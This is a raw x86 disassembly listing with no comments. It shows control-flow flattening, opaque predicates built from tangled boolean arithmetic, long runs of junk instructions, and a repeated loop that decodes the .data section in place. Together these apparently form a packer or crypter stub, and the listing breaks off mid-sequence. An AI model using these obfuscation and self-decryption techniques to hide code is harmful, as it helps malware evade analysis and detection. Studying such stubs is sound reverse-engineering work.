vmovups ymmword [eax + 0x20], ymm1
vmovups ymm1, ymmword [0x4531d8]
vmovups ymmword [eax + 0x40], ymm2
vmovups ymmword [eax], ymm0
vmovups ymmword [eax + 0x58], ymm1
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x20]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x60]
setne byte [eax]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x60]
mov ecx, dword [0x508184]
cmp byte [eax], 0
lea eax, [ecx + 1]
setne byte [ebp - 0x88]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
or ecx, 1
mov esi, ecx
and esi, 0xb314f3cd
and edx, 0x4ceb0c32
or edx, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
mov edi, esi
not edi
and esi, 0x4ceb0c32
or ecx, edi
and edi, 0xb314f3cd
or esi, edi
not ecx
xor esi, edx
or ecx, esi
mov esi, 0xd43d8d0c
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne dl
cmp dword [0x508180], 0xa
setl ah
setge al
mov ch, ah
xor ch, dl
mov cl, ch
xor cl, al
xor al, dl
or dl, ah
and al, ah
and cl, ch
xor al, 1
xor cl, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x737992c2
cmovne ecx, esi
test al, 1
mov esi, 0x737992c2
jmp 0x40bf4b
cmp eax, 0x63d09057
je 0x40d3b0
cmp eax, 0x6414caf3
jne 0x401100
mov ecx, dword [ebp - 0x20]
lea eax, [ecx + 0x18]
mov edx, dword [ecx + 0xa0]
mov ecx, dword [ecx + 0xa4]
mov dword [ebp - 0xc4], eax
mov eax, dword [0x508184]
mov dword [ebp - 0xa8], ecx
mov dword [ebp - 0xc0], edx
lea ecx, [eax + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x10400208
and eax, 0x2ba77d35
and ecx, 0xc41880c2
or edx, ecx
xor edx, 0x10400208
or eax, edx
mov ecx, eax
not ecx
and eax, 0xa9e854ea
and ecx, 0x5617ab15
or eax, ecx
mov ecx, eax
xor eax, 0x824f29de
xor ecx, 0x7db0d620
mov edx, ecx
and eax, 0xfffffffe
and ecx, 1
and edx, 0xfffffffe
or ecx, eax
or ecx, edx
xor ecx, 0xffffffff
sete al
setne cl
cmp dword [0x508180], 0xa
setl dl
setge ah
and al, ah
or ah, cl
and dl, cl
or al, dl
mov ch, ah
mov cl, al
xor ch, 1
mov edx, eax
or al, ch
xor cl, 1
and dl, ah
and ch, cl
xor cl, ah
xor al, 1
or al, cl
or ch, dl
mov edx, 0xa70b8e88
mov cl, al
xor cl, ch
test al, al
mov eax, 0xcc3f74e5
cmovne eax, edx
test ch, ch
cmove eax, edx
test cl, 1
mov edx, 0xcc3f74e5
cmove eax, edx
jmp 0x401100
cmp eax, 0xc38d791e
je 0x40d3c6
cmp eax, 0xc3cf71e6
jne 0x401100
cmp dword [ebp - 0x1a0], 0
mov eax, 0x2f87848
mov ecx, 0x682367e1
cmovns eax, ecx
jmp 0x401100
cmp eax, 0x1535a294
je 0x40d542
cmp eax, 0x15b8d66e
jne 0x401100
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x48]
inc eax
mov dword [ecx], eax
mov eax, dword [0x508184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x313960d2
mov eax, edx
and eax, 0x705e3e8c
and ecx, edx
not edx
and edx, 0x8fa1c173
mov esi, ecx
not esi
and ecx, 0x8bb058ea
or eax, edx
mov edx, eax
xor eax, 0x1214052
xor edx, 0x100080
mov edi, eax
or edi, 0x44468705
or eax, esi
and esi, 0x744fa715
and edx, 0x13040c2
and edi, 0x744fa715
or ecx, esi
not eax
or edx, edi
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xcec69f2d
and eax, 0x313960d2
or eax, ecx
mov esi, eax
xor esi, 0xcabf93cf
andn edx, eax, esi
and esi, eax
mov ecx, edx
mov ebx, esi
not ecx
not ebx
and edx, 0x6f265b5a
and esi, 0x6f265b5a
mov edi, ecx
or ecx, ebx
and edi, 0x90d9a4a5
and ebx, 0x90d9a4a5
or edx, edi
or esi, ebx
not ecx
xor esi, edx
mov edx, eax
not edx
and eax, 0xde82a379
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xc91a2c13
and esi, 0x36e5d3ec
or ecx, esi
mov esi, edx
and esi, 0x217d5c86
and edx, 1
or esi, eax
xor ecx, 0x3a5bfdd
xor esi, 0xde82a378
or edx, esi
mov esi, 0x420aeb47
not edx
or edx, ecx
mov eax, edx
not eax
and edx, 0x3ce95ab4
and eax, 0xc316a54b
or eax, edx
xor eax, 0x3ce95ab4
sete dl
setne ah
cmp dword [0x508180], 0xa
setge cl
setl ch
mov al, cl
and ch, ah
xor al, ah
mov ah, cl
xor ah, dl
and ah, cl
and cl, dl
or cl, ch
or cl, ah
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
mov edx, 0x968f8452
cmovne edx, esi
test cl, cl
mov ecx, 0x968f8452
jmp 0x40d01e
cmp eax, 0x93c8abc2
je 0x40d61b
cmp eax, 0x94721d42
jne 0x401100
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0x90], eax
push eax
mov eax, esp
mov dword [ebp - 0x6c], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x74], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x58], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x94], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
mov edx, 0x7e
rol eax, 0x53
rcr esi, 0x71
rcr edx, 0x6d
sub edi, 0x36
dec edx
inc edi
rol edi, 0xd7
add eax, 0xf9
mov eax, 0x4e
inc edx
sub eax, 0xab
and ebx, 0xfb
not ebx
bswap edi
rcr edx, 0xa5
rcr esi, 0x5b
imul ebx
bswap eax
mov edi, 0x29
mov ebx, 0x56
dec edx
and eax, 0x5a
inc edi
imul edi
bswap eax
not ebx
bswap eax
rol esi, 0x8b
rol edi, 0x2b
or ebx, 0x95
dec ebx
ror esi, 0xcb
rcr edx, 0xf7
sbb esi, 0x5f
inc eax
rcr eax, 0xad
rcr ebx, 0x44
dec esi
inc eax
bswap ebx
rcl edi, 0xe7
add esi, 0x60
dec edi
mov ebx, 0xb5
bswap ebx
rcr edx, 0xb3
dec esi
rcl edx, 0x3d
mov edx, 0x33
rcr edi, 0xe9
rcr eax, 0xdc
bswap esi
rcl ebx, 0xa0
imul esi
bswap eax
dec eax
bswap ebx
sub edx, 0x92
add eax, 0x50
mov eax, 0x93
dec eax
ror edi, 0xad
bswap esi
inc ebx
dec edx
dec ebx
neg ebx
neg edx
rol edx, 0x21
imul edx
mov edx, 0x8d
neg edi
bswap edx
rol ebx, 0x1a
dec eax
neg esi
dec edx
not esi
and edx, 8
dec edx
bswap esi
rol edi, 0xe9
bswap ebx
or ebx, 0xff
ror edx, 0xa4
neg esi
rol eax, 0x71
imul esi
bswap esi
dec ebx
sbb eax, 0x5d
sbb ebx, 0x6b
rcl ebx, 0x6b
rcr edx, 0x3d
ror edx, 0x18
neg ebx
bswap edi
not edi
bswap edi
rol edi, 0xde
rcl eax, 0xb8
bswap edx
mov edi, 0x4d
sub eax, 0x91
or eax, 0x12
bswap eax
not edi
mov edi, 0x87
imul eax
imul ebx
dec edi
dec edi
inc eax
ror ebx, 0xee
sbb eax, 0xe4
or edi, 0x7d
not ebx
sub ebx, 0x1e
sbb edx, 0xe5
add edi, 0xd6
rcr edi, 0x9c
add esi, 0xb9
not edi
ror ebx, 0xbc
bswap edi
sub edx, 0xfd
and esi, 0xf6
inc ebx
sub edi, 0xf3
bswap eax
or edx, 0x8d
sub edx, 0x5a
dec edx
dec esi
bswap esi
neg esi
or edi, 0x1c
mov edi, 0x79
sbb esi, 0x86
rcl esi, 0x28
imul esi
dec esi
bswap ebx
rol esi, 0xbb
add eax, 0
sbb eax, 0xf8
and edx, 0xcc
and edi, 0x28
imul edx
not esi
add esi, 0x76
sub edi, 0xf5
inc edi
neg edx
sbb esi, 0xdc
inc esi
sbb eax, 0xd9
inc edi
add edi, 0xb6
dec eax
add edi, 0xba
rol eax, 0x72
ror esi, 0xb4
sbb eax, 0xea
imul ebx
sbb eax, 0x12
inc ebx
not edi
dec eax
neg edx
ror edi, 0x6d
imul edi
dec ebx
inc eax
sbb ebx, 0x89
bswap esi
rol ebx, 0x40
sub eax, 0xc2
bswap ebx
imul ebx
rol edx, 0xe0
inc esi
sub ebx, 0xd9
bswap eax
and esi, 0x8b
or esi, 0xed
neg ebx
inc eax
imul esi
sub edx, 0xc2
dec ebx
rol eax, 0xb9
inc edx
bswap edx
and esi, 0xf0
not esi
sub edx, 0xa
add edx, 0xf9
not ebx
dec ebx
rcr ebx, 0x4c
dec esi
inc edx
and ebx, 0x2c
imul edx
not eax
sbb edi, 0x78
sub ebx, 0xff
sub ebx, 0xa6
sub eax, 0x98
neg eax
mov esi, 0x42
rcr eax, 0xf2
sbb edx, 0xf9
rcr edx, 0x80
rcl edi, 0xce
inc ebx
or esi, 0x28
not esi
and esi, 0x21
inc ebx
rcl edx, 0x1a
dec edi
and edi, 0x52
and ebx, 0x78
neg ebx
neg ebx
and esi, 7
inc eax
and esi, 0xce
imul eax
imul eax
imul esi
imul ebx
rcl ebx, 0xdf
and eax, 0x14
rcl edi, 0x81
bswap edx
rcl ebx, 0x99
dec ebx
rcr edi, 0xb6
bswap edi
and edx, 0xd2
or ebx, 0x68
neg edi
rcr edi, 0x19
ror esi, 0x40
sub edx, 0x95
dec esi
ror eax, 0xbb
rcl edx, 0xc5
imul edx
inc eax
neg edx
bswap edx
dec eax
neg ebx
dec esi
neg ebx
imul ebx
rol ebx, 0x15
inc ebx
imul eax
neg esi
inc eax
bswap esi
rcl ebx, 0xa1
inc edi
rol eax, 0x18
not esi
imul ebx
rcl eax, 0xca
neg edi
neg ebx
mov ebx, 0x37
neg edi
and eax, 0x78
bswap ebx
neg esi
dec esi
imul edi
imul esi
dec edx
rcr esi, 0xac
ror edx, 0x14
dec esi
dec ebx
imul esi
neg esi
rcl eax, 0x5c
imul esi
or edi, 1
neg eax
rcl ebx, 0xd5
or edi, 0xd0
add eax, 0xf5
mov edx, 0xd6
dec ebx
neg esi
sbb eax, 0xed
inc edx
mov edi, 0x38
add edx, 0xec
sbb eax, 0x4a
bswap eax
neg eax
neg esi
bswap ebx
dec edx
rol eax, 0xfa
rol edi, 0xd6
neg esi
ror edx, 0xd8
imul edx
imul edx
inc edi
inc ebx
neg ebx
imul ebx
rcr ebx, 0xda
not edi
neg ebx
neg edx
bswap esi
rol eax, 0x2a
inc esi
neg esi
and edx, 0x9f
imul edx
mov edi, 0xa8
not esi
or ebx, 0xfc
imul edi
inc ebx
ror edx, 0xfe
neg edx
and ebx, 0xb5
neg eax
rol edx, 0x16
add esi, 0x61
or edx, 0x4a
ror edx, 3
ror eax, 0xe9
bswap edi
imul esi
rcr esi, 0x44
rcl esi, 0xdb
sub eax, 0xbd
inc edx
sbb ebx, 0x92
imul eax
neg eax
rcl edx, 0x41
not edx
inc eax
and edi, 0xc9
imul eax
sub edi, 0x3c
and eax, 0x39
not esi
rcr ebx, 0x57
or edi, 0xa9
not edi
ror edi, 0x96
and esi, 0x33
not edx
inc edx
sub edi, 0x2f
dec edi
not esi
bswap esi
bswap edi
imul edi
neg esi
rcr esi, 0xb
bswap edi
rol esi, 0x4d
bswap edx
imul ebx
rol ebx, 0x30
bswap esi
dec edx
not edx
dec ebx
imul eax
not ebx
rcl ebx, 0x29
imul esi
inc edx
rcr edx, 0xf9
sub esi, 0x58
not edi
imul edx
rol edx, 0xd
or edx, 0x2b
sub esi, 0xeb
imul edi
add edx, 0xc2
neg edi
not ebx
rcr edi, 0x72
dec esi
add esi, 0x37
dec ebx
or edx, 0x5f
and ebx, 9
mov esi, 0x4b
mov edx, 0xfb
imul edi
inc esi
or ebx, 0x34
ror edx, 0xea
rcr esi, 0xd6
inc eax
rol edi, 0x8c
dec esi
and edi, 0xfe
neg esi
dec edi
neg ebx
neg eax
sub esi, 0xd7
bswap eax
or edi, 0x2f
sub edx, 0x77
inc eax
rcl ebx, 0xb1
add eax, 0xa1
neg edx
imul ebx
bswap esi
or esi, 0x23
ror ebx, 0x27
dec edx
bswap ebx
sub edx, 0x45
neg esi
rcl eax, 0x7d
rcl edx, 0x77
add ebx, 0xeb
imul ebx
rcr eax, 0x6a
bswap edx
imul edi
neg esi
add edi, 0x8e
mov esi, 0x8c
rol edx, 0xd6
bswap ebx
neg edi
sbb ebx, 0x75
or ebx, 0xce
or eax, 0xef
rol ebx, 0x7a
imul ebx
add edi, 0xdf
dec edi
imul esi
inc esi
dec eax
not eax
bswap eax
dec edi
rcr esi, 0x1f
ror ebx, 3
inc esi
sub edi, 9
ror esi, 0xac
not eax
neg eax
ror edi, 0x35
not esi
ror ebx, 0x7e
neg edx
neg edx
neg edx
sub eax, 0xa0
or ebx, 0x58
not edx
and eax, 0x66
ror edx, 0x1a
sbb edi, 0x2d
bswap esi
not eax
imul edx
not esi
rcl eax, 0xdd
not eax
add esi, 0x32
rcl edx, 0xe6
or eax, 0x52
add esi, 3
neg edx
neg edi
rcl ebx, 0x33
not esi
not eax
ror edx, 0xe4
dec eax
add ebx, 0xbc
sbb esi, 0xf8
rol ebx, 0x6f
rol ebx, 0x90
bswap edx
bswap edx
bswap edx
not ebx
ror ebx, 0x22
rcr eax, 0x92
not ebx
dec ebx
inc ebx
mov edx, 0x34
imul esi
neg edx
not edx
ror edi, 0x42
inc edx
bswap edx
bswap edx
imul eax
dec eax
dec ebx
mov eax, 0xa6
and esi, 0x5d
neg eax
inc esi
rcr esi, 0x7d
dec eax
or ebx, 0xe9
and esi, 0x79
dec esi
rcl edx, 0xed
not edi
not edi
rol esi, 0xe4
add edx, 0x27
not esi
bswap edi
inc edx
rol ebx, 0x9f
imul edx
ror edx, 3
ror edi, 0x7e
imul eax
dec esi
rol ebx, 0x1d
dec esi
mov edx, 0xd7
ror edx, 0x98
sub edx, 0x40
rcr ebx, 5
ror edi, 0x4e
not ebx
rol esi, 0x31
mov esi, 0xcc
dec eax
dec eax
ror edi, 0xd3
neg ebx
add esi, 0x36
imul ebx
dec edx
inc esi
bswap edx
not edi
ror esi, 0x33
sub ebx, 0x67
ror esi, 0x89
dec esi
and edx, 0xe5
mov ebx, 0xd5
or ebx, 0xc
neg eax
not ebx
imul edi
imul edi
not edx
neg esi
add esi, 0x4e
ror edx, 0x27
neg eax
not edi
rol ebx, 0xb2
inc esi
add esi, 0x9e
rol esi, 0xa4
bswap ebx
bswap edi
ror ebx, 0xc9
bswap esi
dec ebx
not edi
mov edi, 0x88
sbb esi, 0x6f
bswap edi
imul edi
bswap esi
neg eax
mov eax, 0xfb282fde
mov dword [ebp - 0x14], 0xace00
nop dword [eax + eax]
cmp eax, 0xfb282fdd
jle 0x405bc0
cmp eax, 0x4efc0262
je 0x406027
cmp eax, 0x59c17d2
je 0x406595
cmp eax, 0xfb282fde
jne 0x405b00
mov eax, dword [0x50818c]
mov esi, 0xac2cee42
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xcf268c40
and edx, ecx
not ecx
mov eax, ecx
and eax, 0xcf268c40
or eax, edx
not edx
and edx, 0x30d973be
and eax, 0xcf268c41
or eax, edx
mov edx, eax
not edx
and eax, 0xb2f8d807
and edx, 0x4d0727f8
or eax, edx
xor eax, 0xb2f8d807
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x508188], 0xa
setl dl
mov ah, dl
xor cl, dl
or dl, al
xor ah, al
xor dl, 1
or dl, ah
mov eax, 0x4efc0262
xor dl, 1
xor cl, dl
cmovne eax, esi
test cl, dl
mov edx, 0x4efc0262
cmove eax, esi
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x405b00
cmp eax, 0x86246213
je 0x40d62b
cmp eax, 0xac2cee42
jne 0x405b00
mov dword [ebp - 0x18], section..data
inc eax
bswap ebx
sbb edx, 0xbe
rcr eax, 0x73
not eax
sbb eax, 0xdc
rcl edi, 0xcc
ror edx, 0xf6
ror eax, 0xfb
rcl esi, 0x5e
not eax
sub ebx, 0x74
sub edx, 0x77
add ebx, 0xb1
dec edi
rcr ebx, 0x9c
add eax, 0x5a
imul eax
neg ebx
rol edi, 0x3b
mov ebx, 0x69
ror esi, 0xe1
rcr ebx, 0x5e
neg ebx
rcl esi, 0xbd
or edi, 0xe2
neg ebx
rol ebx, 0x7c
neg eax
dec edi
add edx, 0x71
bswap edi
imul ebx
sbb esi, 0xce
rcl eax, 0x9a
add ebx, 0x3c
imul ebx
bswap edx
add edi, 0x47
imul ebx
inc ebx
bswap eax
add ebx, 0x9b
neg edi
imul eax
dec edi
add eax, 0xcb
neg ebx
add esi, 0x46
or edi, 0x20
bswap edx
sbb edi, 1
inc eax
rcr eax, 0xfc
not edi
or edx, 0x50
ror edx, 0xe8
not ebx
rcl esi, 0xfd
inc esi
neg ebx
add eax, 0xa1
imul ebx
sbb edi, 0xfe
rcr esi, 0xd1
rol edx, 0xfa
not edi
inc eax
inc edx
ror edi, 0xdd
sub edi, 0xa1
mov esi, 0x40
add edx, 0xac
imul edi
inc edx
imul edx
sub edx, 0x6c
and edx, 0x69
and eax, 0x2d
imul edx
dec eax
rcr esi, 0x32
dec edx
or eax, 0x4f
bswap ebx
dec edx
dec esi
inc eax
mov eax, 0xe7
neg esi
bswap esi
not eax
not esi
mov edi, 0x17
rcr eax, 0x2f
neg esi
rcl edi, 0x1c
neg edx
bswap edi
bswap eax
add edi, 0x7c
rol edi, 0xf1
sub edx, 5
mov edx, 0xba
sbb ebx, 0x54
rcr edi, 0x43
and edx, 0x80
dec ebx
not esi
rol edx, 0x61
and ebx, 0x52
add eax, 0xdc
neg edi
not esi
rcl edx, 0x17
and ebx, 0x54
or esi, 0x7a
and esi, 0xdb
sub eax, 0x56
bswap ebx
neg edi
bswap edx
not ebx
or ebx, 0xec
neg edx
dec eax
and esi, 0xb7
ror esi, 0x28
and edx, 0x9b
ror edi, 6
not edi
bswap edx
bswap esi
dec ebx
add eax, 0x53
not edi
or edx, 0x23
bswap ebx
not edi
dec esi
and eax, 0xe0
inc edx
not ebx
rcl eax, 0xdf
not ebx
imul eax
dec edx
imul edi
inc esi
imul edx
not ebx
neg esi
rcl edi, 0x2f
rol eax, 0xad
rcr esi, 0xd6
sub eax, 0x17
not edx
bswap edi
sub edx, 0x54
rcl eax, 0x11
neg ebx
mov edx, 0xbb
rcr esi, 0xd
dec edi
rcr esi, 0x9a
ror edx, 0x16
bswap ebx
dec ebx
mov esi, 0x82
mov edi, 0x89
sub eax, 0xb2
not edi
imul esi
rcr edi, 0x61
not ebx
bswap eax
rcl eax, 0xd3
sbb edi, 2
not edx
dec ebx
rol esi, 0x3c
rcl eax, 0xf7
imul edx
neg edx
rcl eax, 0x74
bswap esi
dec edi
bswap edx
imul eax
ror esi, 0xd5
rol edi, 0x7f
not esi
dec eax
ror edi, 0x12
bswap esi
sub edx, 0x75
inc edx
inc ebx
not edi
dec edx
neg eax
neg eax
bswap esi
dec ebx
inc esi
bswap edi
sbb ebx, 0xba
rcl edx, 0xd0
or eax, 0x9f
imul esi
inc ebx
neg ebx
add ebx, 0x6e
rol esi, 0xf
not edi
rcr eax, 0xcd
imul eax
not eax
and eax, 0x61
rol eax, 0xde
rol esi, 0x97
and esi, 0x57
mov edi, 0x71
bswap ebx
bswap edx
rcl edx, 0x6b
mov esi, 5
rol ebx, 0x51
dec esi
rcl edx, 0x80
bswap edi
mov edx, 0xa0
bswap esi
neg ebx
inc esi
sub edi, 0x51
rcr edi, 0x44
rol edi, 0x80
sbb edx, 0x46
not ebx
or esi, 0xfd
rcr ebx, 0xc3
add esi, 0xc1
bswap edx
rcr edi, 0x74
inc edx
inc edx
not edi
dec eax
neg esi
xor ecx, ecx
xor edi, edi
mov ecx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
not byte [edi]
sub byte [edi], 0x89
add byte [edi], 0x45
imul byte [edi]
inc edi
loop 0x405e82
inc edi
bswap ebx
bswap edx
rcl edx, 0xe8
neg eax
ror eax, 0x72
not edi
rcr edi, 0x84
and eax, 0xe1
imul esi
inc eax
inc ebx
and ebx, 0x3d
ror eax, 0x4b
ror eax, 0x6f
rol ebx, 0xdb
dec esi
inc edi
bswap eax
or eax, 0xf9
rcl edx, 0x3c
not eax
sbb esi, 0x93
not esi
rol eax, 0x75
inc edx
sub edi, 0xc8
imul eax
ror eax, 0x6e
inc edi
inc edi
not edi
inc ebx
add esi, 0xbe
sbb eax, 0x28
bswap edi
add ebx, 0x40
dec edx
ror edi, 0xd7
neg esi
imul esi
not esi
neg eax
inc esi
sbb edi, 0x1f
dec esi
rcl edx, 0x11
neg ebx
mov ebx, 0x28
rol eax, 0x23
bswap eax
neg ebx
rol eax, 0x4d
imul esi
inc edx
rol edx, 0x56
bswap edx
inc ebx
bswap eax
rcr edx, 0x65
ror edx, 0xb
imul ebx
not esi
rcr edx, 0x19
dec esi
sub esi, 0x96
neg esi
mov esi, 0x27
imul edi
rol esi, 0x9e
bswap edx
sub esi, 9
imul edx
rcr edi, 0x37
add ebx, 0x23
neg edx
mov edi, 0x3b
sub edx, 0xaa
imul edx
dec edx
imul edi
not eax
rol edx, 0xe4
or ebx, 9
mov esi, 0x78
not eax
rcr edx, 0x35
add esi, 0x7d
imul edx
mov esi, 0x80
sbb ebx, 0x69
and ebx, 0xfa
and esi, 0x24
imul edx
rcr esi, 0xb8
sub edi, 0x38
bswap edi
imul esi
or edi, 0x89
inc eax
not edi
or edx, 0x26
dec edi
sub edi, 0xd8
neg esi
inc edi
not eax
inc edx
and eax, 0xb7
sub esi, 0x56
neg ebx
bswap edi
or edi, 0x3f
mov esi, 0x9f
not esi
sub edi, 0x69
bswap ebx
inc esi
mov edx, 0x5e
not edi
add esi, 9
imul edx
not esi
rol ebx, 0x2a
not ebx
rcl edx, 0xd4
imul edi
neg ebx
imul eax
or eax, 0xd7
inc ebx
mov eax, 0
rol esi, 0x9e
bswap esi
sub esi, 0x57
rcl edi, 0xf4
ror ebx, 0x70
ror edx, 0xeb
imul ebx
dec edi
ror esi, 0x59
ror edi, 0xf2
imul esi
and edx, 0x95
ror ebx, 2
inc ebx
bswap ebx
ror edi, 0xe3
not esi
ror edi, 0x17
mov eax, 0x4efc0262
jmp 0x405b00
mov dword [ebp - 0x18], section..data
inc eax
bswap ebx
sbb edx, 0xbe
rcr eax, 0x73
not eax
sbb eax, 0xdc
rcl edi, 0xcc
ror edx, 0xf6
ror eax, 0xfb
rcl esi, 0x5e
not eax
sub ebx, 0x74
sub edx, 0x77
add ebx, 0xb1
dec edi
rcr ebx, 0x9c
add eax, 0x5a
imul eax
neg ebx
rol edi, 0x3b
mov ebx, 0x69
ror esi, 0xe1
rcr ebx, 0x5e
neg ebx
rcl esi, 0xbd
or edi, 0xe2
neg ebx
rol ebx, 0x7c
neg eax
dec edi
add edx, 0x71
bswap edi
imul ebx
sbb esi, 0xce
rcl eax, 0x9a
add ebx, 0x3c
imul ebx
bswap edx
add edi, 0x47
imul ebx
inc ebx
bswap eax
add ebx, 0x9b
neg edi
imul eax
dec edi
add eax, 0xcb
neg ebx
add esi, 0x46
or edi, 0x20
bswap edx
sbb edi, 1
inc eax
rcr eax, 0xfc
not edi
or edx, 0x50
ror edx, 0xe8
not ebx
rcl esi, 0xfd
inc esi
neg ebx
add eax, 0xa1
imul ebx
sbb edi, 0xfe
rcr esi, 0xd1
rol edx, 0xfa
not edi
inc eax
inc edx
ror edi, 0xdd
sub edi, 0xa1
mov esi, 0x40
add edx, 0xac
imul edi
inc edx
imul edx
sub edx, 0x6c
and edx, 0x69
and eax, 0x2d
imul edx
dec eax
rcr esi, 0x32
dec edx
or eax, 0x4f
bswap ebx
dec edx
dec esi
inc eax
mov eax, 0xe7
neg esi
bswap esi
not eax
not esi
mov edi, 0x17
rcr eax, 0x2f
neg esi
rcl edi, 0x1c
neg edx
bswap edi
bswap eax
add edi, 0x7c
rol edi, 0xf1
sub edx, 5
mov edx, 0xba
sbb ebx, 0x54
rcr edi, 0x43
and edx, 0x80
dec ebx
not esi
rol edx, 0x61
and ebx, 0x52
add eax, 0xdc
neg edi
not esi
rcl edx, 0x17
and ebx, 0x54
or esi, 0x7a
and esi, 0xdb
sub eax, 0x56
bswap ebx
neg edi
bswap edx
not ebx
or ebx, 0xec
neg edx
dec eax
and esi, 0xb7
ror esi, 0x28
and edx, 0x9b
ror edi, 6
not edi
bswap edx
bswap esi
dec ebx
add eax, 0x53
not edi
or edx, 0x23
bswap ebx
not edi
dec esi
and eax, 0xe0
inc edx
not ebx
rcl eax, 0xdf
not ebx
imul eax
dec edx
imul edi
inc esi
imul edx
not ebx
neg esi
rcl edi, 0x2f
rol eax, 0xad
rcr esi, 0xd6
sub eax, 0x17
not edx
bswap edi
sub edx, 0x54
rcl eax, 0x11
neg ebx
mov edx, 0xbb
rcr esi, 0xd
dec edi
rcr esi, 0x9a
ror edx, 0x16
bswap ebx
dec ebx
mov esi, 0x82
mov edi, 0x89
sub eax, 0xb2
not edi
imul esi
rcr edi, 0x61
not ebx
bswap eax
rcl eax, 0xd3
sbb edi, 2
not edx
dec ebx
rol esi, 0x3c
rcl eax, 0xf7
imul edx
neg edx
rcl eax, 0x74
bswap esi
dec edi
bswap edx
imul eax
ror esi, 0xd5
rol edi, 0x7f
not esi
dec eax
ror edi, 0x12
bswap esi
sub edx, 0x75
inc edx
inc ebx
not edi
dec edx
neg eax
neg eax
bswap esi
dec ebx
inc esi
bswap edi
sbb ebx, 0xba
rcl edx, 0xd0
or eax, 0x9f
imul esi
inc ebx
neg ebx
add ebx, 0x6e
rol esi, 0xf
not edi
rcr eax, 0xcd
imul eax
not eax
and eax, 0x61
rol eax, 0xde
rol esi, 0x97
and esi, 0x57
mov edi, 0x71
bswap ebx
bswap edx
rcl edx, 0x6b
mov esi, 5
rol ebx, 0x51
dec esi
rcl edx, 0x80
bswap edi
mov edx, 0xa0
bswap esi
neg ebx
inc esi
sub edi, 0x51
rcr edi, 0x44
rol edi, 0x80
sbb edx, 0x46
not ebx
or esi, 0xfd
rcr ebx, 0xc3
add esi, 0xc1
bswap edx
rcr edi, 0x74
inc edx
inc edx
not edi
dec eax
neg esi
xor ecx, ecx
xor edi, edi
mov ecx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
not byte [edi]
sub byte [edi], 0x89
add byte [edi], 0x45
imul byte [edi]
inc edi
loop 0x4062d3
inc edi
bswap ebx
bswap edx
rcl edx, 0xe8
neg eax
ror eax, 0x72
not edi
rcr edi, 0x84
and eax, 0xe1
imul esi
inc eax
inc ebx
and ebx, 0x3d
ror eax, 0x4b
ror eax, 0x6f
rol ebx, 0xdb
dec esi
inc edi
bswap eax
or eax, 0xf9
rcl edx, 0x3c
not eax
sbb esi, 0x93
not esi
rol eax, 0x75
inc edx
sub edi, 0xc8
imul eax
ror eax, 0x6e
inc edi
inc edi
not edi
inc ebx
add esi, 0xbe
sbb eax, 0x28
bswap edi
add ebx, 0x40
dec edx
ror edi, 0xd7
neg esi
imul esi
not esi
neg eax
inc esi
sbb edi, 0x1f
dec esi
rcl edx, 0x11
neg ebx
mov ebx, 0x28
rol eax, 0x23
bswap eax
neg ebx
rol eax, 0x4d
imul esi
inc edx
rol edx, 0x56
bswap edx
inc ebx
bswap eax
rcr edx, 0x65
ror edx, 0xb
imul ebx
not esi
rcr edx, 0x19
dec esi
sub esi, 0x96
neg esi
mov esi, 0x27
imul edi
rol esi, 0x9e
bswap edx
sub esi, 9
imul edx
rcr edi, 0x37
add ebx, 0x23
neg edx
mov edi, 0x3b
sub edx, 0xaa
imul edx
dec edx
imul edi
not eax
rol edx, 0xe4
or ebx, 9
mov esi, 0x78
not eax
rcr edx, 0x35
add esi, 0x7d
imul edx
mov esi, 0x80
sbb ebx, 0x69
and ebx, 0xfa
and esi, 0x24
imul edx
rcr esi, 0xb8
sub edi, 0x38
bswap edi
imul esi
or edi, 0x89
inc eax
not edi
or edx, 0x26
dec edi
sub edi, 0xd8
neg esi
inc edi
not eax
inc edx
and eax, 0xb7
sub esi, 0x56
neg ebx
bswap edi
or edi, 0x3f
mov esi, 0x9f
not esi
sub edi, 0x69
bswap ebx
inc esi
mov edx, 0x5e
not edi
add esi, 9
imul edx
not esi
rol ebx, 0x2a
not ebx
rcl edx, 0xd4
imul edi
neg ebx
imul eax
or eax, 0xd7
inc ebx
mov eax, 0
rol esi, 0x9e
bswap esi
